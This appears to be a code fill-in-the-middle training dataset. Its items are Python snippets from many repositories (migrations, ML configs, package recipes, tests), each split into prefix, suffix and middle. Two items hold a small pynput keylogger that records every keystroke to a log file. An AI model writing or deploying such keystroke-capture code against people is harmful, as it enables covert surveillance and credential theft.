text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_prefix|># repo: ourresearch/openalex-elastic-api path: /loadtest/utils.py
import requests
def get_words():
word_site = "https://www.mit.edu/~ecprice/wordlist.10000"
response = requests.ge<|fim_suffix|> words = [w for w in words_raw if len(w) > 8]
return words<|fim_middle|>t(word_site)
words_raw... | code_fim | medium | {
"lang": "python",
"repo": "ourresearch/openalex-elastic-api",
"path": "/loadtest/utils.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: hypothesis/lms path: /lms/migrations/versions/7e4124035651_add_the_provisioning_column.py
"""
Add the provisioning column.
Revision ID: 7e4124035651
Revises: efcf8671f4d3
Create Date: 2018-12-07 11:38:55.717986
"""
import sqlalchemy as sa
from alembic import op
# revision identifiers, used by ... | code_fim | medium | {
"lang": "python",
"repo": "hypothesis/lms",
"path": "/lms/migrations/versions/7e4124035651_add_the_provisioning_column.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> op.add_column(
"application_instances",
sa.Column(
"provisioning",
sa.Boolean(),
server_default=sa.sql.expression.true(),
nullable=False,
),
)
def downgrade():
op.drop_column("application_instances", "provisioning")<|fim... | code_fim | medium | {
"lang": "python",
"repo": "hypothesis/lms",
"path": "/lms/migrations/versions/7e4124035651_add_the_provisioning_column.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> des_model_file = os.path.join(new_model_dir, "input", model_file_name)
# Copy MODEL_FILE in new location.
shutil.copyfile(src_model_file, des_model_file)
# Create symlink to CONFIG_FILE, rather than copying the same file across
# multiple model directories. All models refer to same... | code_fim | hard | {
"lang": "python",
"repo": "bradh/sira",
"path": "/scripts/run_suite_of_models.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Copy MODEL_FILE in new location.
shutil.copyfile(src_model_file, des_model_file)
# Create symlink to CONFIG_FILE, rather than copying the same file across
# multiple model directories. All models refer to same config file
new_config_file_path = os.path.join(
new_model_dir,... | code_fim | hard | {
"lang": "python",
"repo": "bradh/sira",
"path": "/scripts/run_suite_of_models.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bradh/sira path: /scripts/run_suite_of_models.py
import sys
import os
import ntpath
import shutil
import re
import subprocess
project_root_dir = os.path.abspath(
"./simulation_setup/Multiple_Model_Test__WTP/")
if not os.path.isdir(project_root_dir):
print("Invalid path supplied:\n {}".... | code_fim | hard | {
"lang": "python",
"repo": "bradh/sira",
"path": "/scripts/run_suite_of_models.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: oceam/EasyMPE path: /Useful_annex_codes/make_shp_from_coord.py
# -*- coding: utf-8 -*-
"""
Created on Thu Jan 10 10:52:56 2019
@author: leatr
Outputs individual *.shp files based on the input text file containing
coordinates and a reference raster with the associated georeference system.... | code_fim | hard | {
"lang": "python",
"repo": "oceam/EasyMPE",
"path": "/Useful_annex_codes/make_shp_from_coord.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>nbCol, nbRow = 0, 0
for i in pts:
points = []
for k in i:
points.append(k*aff)
points.append(points[0])
### make a shapefile
save_path = folder / str('Col_' + str(nbCol) + '_row_' + str(nbRow) + '.shp')
print(save_path)
print(type(save_path))
# write... | code_fim | hard | {
"lang": "python",
"repo": "oceam/EasyMPE",
"path": "/Useful_annex_codes/make_shp_from_coord.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: cnobile2012/inventory path: /inventory/categories/migrations/0001_initial.py
# -*- coding: utf-8 -*-
# Generated by Django 1.10.6 on 2017-03-18 00:44
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion... | code_fim | hard | {
"lang": "python",
"repo": "cnobile2012/inventory",
"path": "/inventory/categories/migrations/0001_initial.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
@registry.register_hparams
def xmoe_wiki_x():
"""Baseline set of parameters for mixture-of-experts.
~6B parameters
Returns:
a hparams
"""
hparams = xmoe_wiki_base(0)
moe.set_default_moe_hparams(hparams)
hparams.decoder_layers = (
["att", "drd", "att", "drd", "att", "hmoe"] * 3 +... | code_fim | hard | {
"lang": "python",
"repo": "gitboyzorro5/tensor2tensor",
"path": "/tensor2tensor/models/research/moe_experiments.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>@registry.register_hparams
def xmoe_wiki_base_2():
return xmoe_wiki_base(2)
@registry.register_hparams
def xmoe_wiki_base_3():
return xmoe_wiki_base(3)
@registry.register_hparams
def xmoe_wiki_x():
"""Baseline set of parameters for mixture-of-experts.
~6B parameters
Returns:
a hparams
... | code_fim | hard | {
"lang": "python",
"repo": "gitboyzorro5/tensor2tensor",
"path": "/tensor2tensor/models/research/moe_experiments.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: gitboyzorro5/tensor2tensor path: /tensor2tensor/models/research/moe_experiments.py
# coding=utf-8
# Copyright 2018 The Tensor2Tensor Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a c... | code_fim | hard | {
"lang": "python",
"repo": "gitboyzorro5/tensor2tensor",
"path": "/tensor2tensor/models/research/moe_experiments.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """test parsing of model"""
if isinstance(expected, dict):
formatted_config = parse_default(config, MODEL)
try:
assert expected == formatted_config
except AssertionError:
for k, d in formatted_config["model"]["layers"].items():
for op... | code_fim | hard | {
"lang": "python",
"repo": "yeahml/yeahml",
"path": "/tests/unit/yeahml/config/defaults/test_model.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: yeahml/yeahml path: /tests/unit/yeahml/config/defaults/test_model.py
import pytest
import tensorflow as tf
from yeahml.build.layers.config import NOTPRESENT
from yeahml.config.template.components.model import MODEL
from util import parse_default
"""
layers:
dense_1:
type: 'dense'
opti... | code_fim | hard | {
"lang": "python",
"repo": "yeahml/yeahml",
"path": "/tests/unit/yeahml/config/defaults/test_model.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> Filesystem system storage is available by default on any :py:class:`ModeDefinition` that does
not provide custom system storages. To select it, include a fragment such as the following in
config:
.. code-block:: yaml
storage:
filesystem:
base_dir: '/path/to/... | code_fim | hard | {
"lang": "python",
"repo": "helloworld/continuous-dagster",
"path": "/deploy/dagster_modules/dagster/dagster/core/storage/system_storage.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
@system_storage(
name='filesystem', is_persistent=True, config={'base_dir': Field(str, is_optional=True)}
)
def fs_system_storage(init_context):
'''The default filesystem system storage.
Filesystem system storage is available by default on any :py:class:`ModeDefinition` that does
not pro... | code_fim | hard | {
"lang": "python",
"repo": "helloworld/continuous-dagster",
"path": "/deploy/dagster_modules/dagster/dagster/core/storage/system_storage.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: helloworld/continuous-dagster path: /deploy/dagster_modules/dagster/dagster/core/storage/system_storage.py
from dagster.config import Field
from dagster.core.definitions.system_storage import SystemStorageData, system_storage
from .file_manager import LocalFileManager
from .intermediate_store im... | code_fim | hard | {
"lang": "python",
"repo": "helloworld/continuous-dagster",
"path": "/deploy/dagster_modules/dagster/dagster/core/storage/system_storage.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>def test_calc_rv_fromebvav_pmunc():
text = ExtData()
text.columns["EBV"] = (0.5, 0.02, 0.04)
text.columns["AV"] = (3.1 * 0.5, 0.05, 0.03)
text.calc_RV()
rv = text.columns["RV"]
assert isinstance(rv, tuple)
assert np.isclose(rv[0], 3.1, atol=1e-3)
assert np.isclose(rv[1], 0... | code_fim | hard | {
"lang": "python",
"repo": "karllark/measure_extinction",
"path": "/measure_extinction/tests/test_EbvAvRv.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: karllark/measure_extinction path: /measure_extinction/tests/test_EbvAvRv.py
import numpy as np
import astropy.units as u
from measure_extinction.extdata import ExtData
def test_calc_ebv():
text = ExtData()
text.waves["BAND"] = np.array([0.438, 0.555]) * u.micron
text.exts["BAND"] = ... | code_fim | hard | {
"lang": "python",
"repo": "karllark/measure_extinction",
"path": "/measure_extinction/tests/test_EbvAvRv.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Final Version
from design_baselines.mins import mins
ray.init(num_cpus=cpus,
num_gpus=gpus,
include_dashboard=False,
_temp_dir=os.path.expanduser('~/tmp'))
tune.run(mins, config={
"logging_dir": "data",
"task": "TFBind8-Exact-v0",
... | code_fim | hard | {
"lang": "python",
"repo": "stjordanis/design-baselines",
"path": "/design_baselines/mins/experiments.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: stjordanis/design-baselines path: /design_baselines/mins/experiments.py
on('--gpus', type=int, default=1)
@click.option('--num-parallel', type=int, default=1)
@click.option('--num-samples', type=int, default=1)
def ant(local_dir, cpus, gpus, num_parallel, num_samples):
"""Evaluate MINs on Ant... | code_fim | hard | {
"lang": "python",
"repo": "stjordanis/design-baselines",
"path": "/design_baselines/mins/experiments.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: stjordanis/design-baselines path: /design_baselines/mins/experiments.py
s": {"relabel": False},
"val_size": 200,
"offline": True,
"normalize_ys": True,
"normalize_xs": True,
"base_temp": 0.1,
"noise_std": 0.0,
"method": "wasserstein",
... | code_fim | hard | {
"lang": "python",
"repo": "stjordanis/design-baselines",
"path": "/design_baselines/mins/experiments.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: KU2021-NLP17/odqa_baseline_code path: /retrieval/dense/__init__.py
from retrieval.dense.dense_base import DenseRetrieval
from retrieval.dense.dpr_base import DprRetrieval, BaseTrainMixin, Bm25TrainMixin
f<|fim_suffix|>
from retrieval.dense.dpr_electra import DprElectra
from retrieval.dense.bp_bas... | code_fim | hard | {
"lang": "python",
"repo": "KU2021-NLP17/odqa_baseline_code",
"path": "/retrieval/dense/__init__.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
from retrieval.dense.dpr_electra import DprElectra
from retrieval.dense.bp_base import BPRetrieval
from retrieval.dense.bp import BPBert<|fim_prefix|># repo: KU2021-NLP17/odqa_baseline_code path: /retrieval/dense/__init__.py
from retrieval.dense.dense_base import DenseRetrieval
from retrieval.dense.dpr_... | code_fim | medium | {
"lang": "python",
"repo": "KU2021-NLP17/odqa_baseline_code",
"path": "/retrieval/dense/__init__.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>def spit(filename, contents):
"""
Write the string contents contents to the file.
>>> path = tempfile.mktemp()
>>> spit(path, 'Hello, world!')
>>> slurp(path)
'Hello, world!'
"""
with open(filename, 'w') as file:
file.write(contents)
if __name__ == '__main__':
... | code_fim | hard | {
"lang": "python",
"repo": "GrammaTech/cl-make",
"path": "/update_tests.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: GrammaTech/cl-make path: /update_tests.py
#!/usr/bin/env python3
"""
Update the readme.py tests in this repository.
"""
import glob
import os
import pathlib
import re
import subprocess
import tempfile
from readme import slurp
def normalize(output):
"""
Replace nondeterministic parts ... | code_fim | hard | {
"lang": "python",
"repo": "GrammaTech/cl-make",
"path": "/update_tests.py",
"mode": "psm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|>def cmd(args):
"""
Return the output from running a command whether it succeeds or not.
"""
try:
return {
'exit_code': 0,
'output': subprocess.check_output(args, encoding='utf-8'),
}
except subprocess.CalledProcessError as error:
return {... | code_fim | hard | {
"lang": "python",
"repo": "GrammaTech/cl-make",
"path": "/update_tests.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: fagan2888/datasets path: /datasets/nypd-stop-question-and-frisk/scripts/wrangling/wrangle_nypd_stop_and_frisk_data.py
"""
Draft code on wrangling NYPD stop frisk data; notes TK
- For all CSV files (previously downloaded) in /tmp/nypd-stopandfrisks:
- create a new CSV file in which:
-... | code_fim | hard | {
"lang": "python",
"repo": "fagan2888/datasets",
"path": "/datasets/nypd-stop-question-and-frisk/scripts/wrangling/wrangle_nypd_stop_and_frisk_data.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> x = {}
x = {h: row[h] for h in BOILERPLATE_HEADERS}
x['frisked'] = yes_no(row['frisked'])
x['searched'] = yes_no(row['searched'])
x['arstmade'] = yes_no(row['arstmade'])
x['sumissue'] = yes_no(row['sumissue'])
x['forceuse_reason'] = row.get('forceuse') # only later years have t... | code_fim | hard | {
"lang": "python",
"repo": "fagan2888/datasets",
"path": "/datasets/nypd-stop-question-and-frisk/scripts/wrangling/wrangle_nypd_stop_and_frisk_data.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def yes_no(v): # helper method to normalize Y/N/'' columns
return 'Y' if v == 'Y' else 'N'
def strip_record(row):
# downcase headers, strip whitespace
return {k.lower(): v.strip() for k, v in row.items()}
def wrangle_record(row):
w = {}
w.update(extract_boilerplate_attrs(row))
... | code_fim | hard | {
"lang": "python",
"repo": "fagan2888/datasets",
"path": "/datasets/nypd-stop-question-and-frisk/scripts/wrangling/wrangle_nypd_stop_and_frisk_data.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mrmaxguns/bullet path: /examples/colorful.py
from bullet import Bullet
from bullet import colors
cli = Bullet(
prompt = "\nPlease choose a fruit: ",
choices = ["apple", "banana", "oran<|fim_suffix|>.background["cyan"],
background_on_switch=colors.background["yellow"],
... | code_fim | hard | {
"lang": "python",
"repo": "mrmaxguns/bullet",
"path": "/examples/colorful.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>.background["cyan"],
background_on_switch=colors.background["yellow"],
pad_right = 5
)
result = cli.launch()
print("You chose:", result)<|fim_prefix|># repo: mrmaxguns/bullet path: /examples/colorful.py
from bullet import Bullet
from bullet import colors
cli = Bullet(
prompt... | code_fim | hard | {
"lang": "python",
"repo": "mrmaxguns/bullet",
"path": "/examples/colorful.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: meissnert/StarCluster-Plugins path: /canvas_1_3_9.py
from starcluster.clustersetup import ClusterSetup
from starcluster.logger import log
class CanvasInstaller(ClusterSetup):
<|fim_suffix|> for node in nodes:
log.info("Installing Canvas 1.3.9 on %s" % (node.alias))
node.ssh.execute('mkdir... | code_fim | medium | {
"lang": "python",
"repo": "meissnert/StarCluster-Plugins",
"path": "/canvas_1_3_9.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|># log.info("Creating Canvas Module")
# node.ssh.execute('mkdir -p /usr/local/Modules/applications/canvas/;touch /usr/local/Modules/applications/canvas/1.3.9')
# node.ssh.execute('echo "#%Module" >> /usr/local/Modules/applications/canvas/1.3.9')
# node.ssh.execute('echo "set root /opt/software/canv... | code_fim | hard | {
"lang": "python",
"repo": "meissnert/StarCluster-Plugins",
"path": "/canvas_1_3_9.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> global frase
if 'Key' in str(key):
logging.info(str(frase))
frase = ''
logging.info(str(key))
else:
try :
frase += str(key)
except:
frase = str(key)
with Listener(on_press=on_press ) as listener:
listener.join ()<|fim_prefix|># repo: henriquesml/Keylogger-Python path: /ke... | code_fim | medium | {
"lang": "python",
"repo": "henriquesml/Keylogger-Python",
"path": "/keylogger.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: henriquesml/Keylogger-Python path: /keylogger.py
from pynput.keyboard import Key,Listener
import logging
<|fim_suffix|> global frase
if 'Key' in str(key):
logging.info(str(frase))
frase = ''
logging.info(str(key))
else:
try :
frase += str(key)
except:
frase = str(k... | code_fim | medium | {
"lang": "python",
"repo": "henriquesml/Keylogger-Python",
"path": "/keylogger.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: groundupnews/gu path: /analyzer/top_urls.py
import datetime
from clfparser import CLFParser
import operator
# def tail(file, n=1, bs=1024):
# f = open(file)
# f.seek(0,2)
# l = 1-f.read(1).count('\n')
# B = f.tell()
# while n >= l and B > 0:
# block = min(bs, B)
#... | code_fim | hard | {
"lang": "python",
"repo": "groundupnews/gu",
"path": "/analyzer/top_urls.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>def most_popular_pages(filename, cutoff_time, num=5, url_filter=None):
return pages_by_popularity(filename, cutoff_time, url_filter)[0:num]
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='Get most popular pages')
parser.add_argument('--logfile', ty... | code_fim | hard | {
"lang": "python",
"repo": "groundupnews/gu",
"path": "/analyzer/top_urls.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='Get most popular pages')
parser.add_argument('--logfile', type=str, default="access.log")
parser.add_argument('--date', type=str, default="")
parser.add_argument('--diff', type=int, default=10)
... | code_fim | hard | {
"lang": "python",
"repo": "groundupnews/gu",
"path": "/analyzer/top_urls.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: proteneer/timemachine path: /attic/training/bootstrap.py
# (ytz): bootstrap TI estimate of free energy, this is fairly redundant
# we need to cleanup/refactor this with the actual estimater code so
# it's jess janky
import numpy as np
import bootstrapped.bootstrap as bs
import bootstrapped.stat... | code_fim | hard | {
"lang": "python",
"repo": "proteneer/timemachine",
"path": "/attic/training/bootstrap.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>def ti_ci(du_dls, lambda_schedule):
tuples = []
for du_dl, lamb in zip(du_dls, lambda_schedule):
tuples.append((du_dl, lamb))
return bs.bootstrap(np.array(tuples), stat_func=bs_estimate)
# def ti_ci(all_du_dls, ssc, stage_lambdas, du_dl_cutoff):
# """
# Compute the bootstrap... | code_fim | hard | {
"lang": "python",
"repo": "proteneer/timemachine",
"path": "/attic/training/bootstrap.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> r"""
Compute the Average Pooling 2d operation on a batch of features of vector images wrt a matrix of indices
Args:
indices (LongTensor): index tensor of shape (L x kernel_size), having on each
row the indices of neighbors of each element of the input
... | code_fim | hard | {
"lang": "python",
"repo": "IndexedConv/IndexedConv",
"path": "/indexedconv/engine/indexed.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> out = torch.mean(col, 2)
return out
class IndexedConv(nn.Module):
r"""Applies a convolution over an input tensor where neighborhood relationships
between elements are explicitly provided via an `indices` tensor.
The output value of the layer with input size :math:`(N, C_{in... | code_fim | hard | {
"lang": "python",
"repo": "IndexedConv/IndexedConv",
"path": "/indexedconv/engine/indexed.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: IndexedConv/IndexedConv path: /indexedconv/engine/indexed.py
"""
indexed.py
========
Contain the core functions for the indexed operations
"""
import logging
import math
import torch
import torch.nn as nn
from torch.nn.parameter import Parameter
import indexedconv.utils as utils
class Indexe... | code_fim | hard | {
"lang": "python",
"repo": "IndexedConv/IndexedConv",
"path": "/indexedconv/engine/indexed.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: JayjeetAtGithub/spack path: /var/spack/repos/builtin/packages/r-org-hs-eg-db/package.py
# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack.... | code_fim | hard | {
"lang": "python",
"repo": "JayjeetAtGithub/spack",
"path": "/var/spack/repos/builtin/packages/r-org-hs-eg-db/package.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> version(
"3.14.0",
sha256="0f87b3f1925a1d7007e5ad9200bdf511788bd1d7cb76f1121feeb109889c2b00",
url="https://www.bioconductor.org/packages/3.14/data/annotation/src/contrib/org.Hs.eg.db_3.14.0.tar.gz",
)
version(
"3.12.0",
sha256="48a1ab5347ec7a8602c555d9ab... | code_fim | hard | {
"lang": "python",
"repo": "JayjeetAtGithub/spack",
"path": "/var/spack/repos/builtin/packages/r-org-hs-eg-db/package.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> depends_on("r@2.7.0:", type=("build", "run"))
depends_on("r-annotationdbi@1.37.4:", type=("build", "run"))
depends_on("r-annotationdbi@1.43.1:", type=("build", "run"), when="@3.8.2:")
depends_on("r-annotationdbi@1.51.3:", type=("build", "run"), when="@3.12.0:")
depends_on("r-annotation... | code_fim | hard | {
"lang": "python",
"repo": "JayjeetAtGithub/spack",
"path": "/var/spack/repos/builtin/packages/r-org-hs-eg-db/package.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>def urlGet(url,data):
user_agent = 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36'
headers = {
'User-Agent' : user_agent,
'Referer' : 'http://jwc.ecjtu.jx.cn/mis_o/main.php'
}
req = urllib2.Request(url, headers = hea... | code_fim | hard | {
"lang": "python",
"repo": "EcjtuNet/wmkj",
"path": "/wechatphp/class/model/scoreforwx.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def reback(content):
rs_obj = []
parttern = '<td>(.*?)</td>'
match = re.findall(parttern, content, re.S)
del match[0]
for i in range(0,len(match),9):
partternNext = '<font color=red>(.*?)</font>'
matchs = re.findall(partternNext, match[i+6], re.S)
if len(matchs) != 0:
match[i+6] = matchs[0]
... | code_fim | hard | {
"lang": "python",
"repo": "EcjtuNet/wmkj",
"path": "/wechatphp/class/model/scoreforwx.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: EcjtuNet/wmkj path: /wechatphp/class/model/scoreforwx.py
#!/usr/bin/python
#-*-coding:utf-8-*-
import urllib2
import urllib
import cookielib
import re
import thread
import time
import json
import sys
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)... | code_fim | hard | {
"lang": "python",
"repo": "EcjtuNet/wmkj",
"path": "/wechatphp/class/model/scoreforwx.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Esmidth/DIP path: /object-detector/config1.py
import json
min_wdw_sz = [100, 40]
step_size = [10, 10]
orientations = <|fim_suffix|>rmalize = True
threshold = .3
pos_feat_ph = '../data/features/pos'
neg_feat_ph = '../data/features/neg'
model_path = '../data/models/svm.model'<|fim_middle|>9
pixel... | code_fim | medium | {
"lang": "python",
"repo": "Esmidth/DIP",
"path": "/object-detector/config1.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>feat_ph = '../data/features/neg'
model_path = '../data/models/svm.model'<|fim_prefix|># repo: Esmidth/DIP path: /object-detector/config1.py
import json
min_wdw_sz = [100, 40]
step_size = [10, 10]
orientations = 9
pixels_per_cell = [8, 8]
cells_per_block = [3, 3]
visualize = False
no<|fim_middle|>rmalize... | code_fim | medium | {
"lang": "python",
"repo": "Esmidth/DIP",
"path": "/object-detector/config1.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> center_sprite_gen = generate_sprites.generate_sprites(
center_factors, num_sprites=1)
# Factor distributions for the orbiting sprites
orbit_factors = distribs.Product([
distribs.Continuous('x', 0.1, 0.9),
distribs.Continuous('y', 0.1, 0.9),
distribs.Discrete('s... | code_fim | hard | {
"lang": "python",
"repo": "nwatters01/spriteworld-physics",
"path": "/spriteworld_physics/configs/star_system.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>import numpy as np
import os
from spriteworld import factor_distributions as distribs
from spriteworld import renderers as spriteworld_renderers
from spriteworld import sprite_generators
from spriteworld_physics import forces
from spriteworld_physics import generate_sprites
from spriteworld_physics import... | code_fim | hard | {
"lang": "python",
"repo": "nwatters01/spriteworld-physics",
"path": "/spriteworld_physics/configs/star_system.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nwatters01/spriteworld-physics path: /spriteworld_physics/configs/star_system.py
"""Config for magnets system.
This is a system of a large yellow immobile circle that exerts gravitational
forces on 4 smaller star-shaped sprites.
This config exemplifies the use of graph_generators.AdjacencyMatri... | code_fim | hard | {
"lang": "python",
"repo": "nwatters01/spriteworld-physics",
"path": "/spriteworld_physics/configs/star_system.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>', 'iteration', 'data_time', 'time', 'model']
PLOTTABLE_METRICS = ['total_loss']
DROP_KEYS = ['eta_seconds', 'data_time', 'time']<|fim_prefix|># repo: KevorkSulahian/superannotate-python-sdk path: /superannotate/ml/defaults.py
DEFAULT_HYPERPARAMETERS = {
"instance_type": "1 x T4 16 GB",
"num_epoc... | code_fim | hard | {
"lang": "python",
"repo": "KevorkSulahian/superannotate-python-sdk",
"path": "/superannotate/ml/defaults.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: KevorkSulahian/superannotate-python-sdk path: /superannotate/ml/defaults.py
DEFAULT_HYPERPARAMETERS = {
"instance_type": "1 x T4 16 GB",
"num_epochs": 12,
"dataset_split_ratio": 80,
"base_<|fim_suffix|>', 'iteration', 'data_time', 'time', 'model']
PLOTTABLE_METRICS = ['total_loss'... | code_fim | hard | {
"lang": "python",
"repo": "KevorkSulahian/superannotate-python-sdk",
"path": "/superannotate/ml/defaults.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # TODO: Detect type of token
# TODO: Create Token
self._read_char()
return token
def _read_char(self) -> str:
if self.read_position >= len(self.code):
self.current_char = '\0'
else:
self.current_char = self.code[self.read_posit... | code_fim | medium | {
"lang": "python",
"repo": "washimimizuku/simplexer",
"path": "/lexer/lexer.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: washimimizuku/simplexer path: /lexer/lexer.py
import typing
from lexer.token import Token
class Lexer:
def __init__(self, tokens: typing.List[Token]) -> None:
self.tokens = tokens
self.code = ''
self.position = 0
self.read_position = 0
self.current_c... | code_fim | hard | {
"lang": "python",
"repo": "washimimizuku/simplexer",
"path": "/lexer/lexer.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Burrito-Bazooka/logos-v2 path: /scripture_game/urls.py
# urls.py
from django.conf.urls import patterns, include, url
urlpatterns = patterns('scripture_game.views<|fim_suffix|>mmary'),
url(r'^games_played$', 'games_played'),
)<|fim_middle|>',
url(r'^$', 'index'),
url(r'^summary$', 'su | code_fim | easy | {
"lang": "python",
"repo": "Burrito-Bazooka/logos-v2",
"path": "/scripture_game/urls.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>',
url(r'^$', 'index'),
url(r'^summary$', 'summary'),
url(r'^games_played$', 'games_played'),
)<|fim_prefix|># repo: Burrito-Bazooka/logos-v2 path: /scripture_game/urls.py
# urls.py
from django.conf.urls import patterns, incl<|fim_middle|>ude, url
urlpatterns = patterns('scripture_game.views | code_fim | easy | {
"lang": "python",
"repo": "Burrito-Bazooka/logos-v2",
"path": "/scripture_game/urls.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: hep-gc/cloudscheduler path: /unit_tests/test_server_config.py
from unit_test_common import execute_csv2_request, initialize_csv2_request, ut_id, sanity_requests
from sys import argv
# lno: SV - error code identifier.
def main(gvar):
if not gvar:
gvar = {}
if len(argv) > 1:
... | code_fim | hard | {
"lang": "python",
"repo": "hep-gc/cloudscheduler",
"path": "/unit_tests/test_server_config.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # 17 Update an int field.
execute_csv2_request(
gvar, 0, None, 'server config update successfully updated the following keys',
'/server/config/', group=ut_id(gvar, 'stg1'), form_data={
'category': 'condor_poller.py',
'log_level': 10,
},
serve... | code_fim | hard | {
"lang": "python",
"repo": "hep-gc/cloudscheduler",
"path": "/unit_tests/test_server_config.py",
"mode": "spm",
"license": "Apache-2.0",
